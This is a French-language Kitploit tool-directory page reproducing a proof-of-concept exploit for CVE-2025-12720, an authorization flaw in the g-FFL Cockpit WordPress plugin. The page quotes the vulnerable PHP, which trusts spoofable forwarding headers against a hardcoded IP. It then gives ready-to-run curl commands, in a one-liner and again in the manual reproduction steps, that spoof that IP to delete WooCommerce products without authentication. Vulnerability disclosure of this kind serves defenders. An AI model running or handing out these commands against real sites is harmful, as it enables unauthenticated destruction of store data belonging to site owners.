Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - Autorisation inappropriée menant à la suppression de produit sans authentification | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-12720
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APIAuthentificationMauvaise Configuration
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - Autorisation inappropriée menant à la suppression de produit sans authentification

Voir le dépôt
16il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

g-FFL Cockpit <= 1.7.1 - Suppression arbitraire de produits sans authentification

Le plugin g-FFL Cockpit n'implémente pas de contrôles d'autorisation appropriés sur les endpoints REST queue et process, permettant à des utilisateurs non authentifiés de supprimer arbitrairement des produits WooCommerce en usurpant les en-têtes HTTP pour contourner l'authentification basée sur l'IP.

Exploits en bref

TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

Détails

Les endpoints REST queue et process utilisent une authentification basée sur l'IP qui peut être contournée en usurpant les en-têtes HTTP X-Forwarded-For ou CF-Connecting-IP. Le mécanisme d'authentification repose sur get_client_ip() qui fait confiance aux en-têtes contrôlables par l'utilisateur et vérifie une adresse IP codée en dur dans le code source du plugin.

Situé dans class-sync-endpoint.php:

34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

La fonction fflcockpit_is_allowed() utilise une adresse IP codée en dur (base64 : My4yMTIuMTg1LjE4Nw==, décodée : 3.212.185.187) visible dans le code source du plugin.

Extrait vulnérable de class-sync-endpoint.php:

11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

La fonction process_product() achemine les opérations de suppression vers sql_delete_product(), qui effectue une suppression SQL directe des produits WooCommerce.

Implémentation de suppression vulnérable de class-update-processor.php:

634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

Reproduction manuelle

Remarque : g-FFL Cockpit nécessite WooCommerce

  1. Accédez au site WordPress cible avec le plugin g-FFL Cockpit installé.

  2. Extrayez l'adresse IP codée en dur du code source du plugin. L'IP est encodée en base64 sous la forme My4yMTIuMTg1LjE4Nw== dans class-sync-endpoint.php, qui se décode en 3.212.185.187.

  3. Exécutez les commandes curl suivantes pour mettre en file d'attente et traiter la suppression du produit :

curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. Traitez la suppression mise en file d'attente pour exécuter réellement la suppression du produit :
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. Vous recevrez une confirmation que la suppression a été effectuée :
{
  "status": "completed"
}

Le produit est définitivement supprimé de la base de données WooCommerce, y compris toutes les métadonnées associées, les relations de termes et les images.

Télécharger l’outil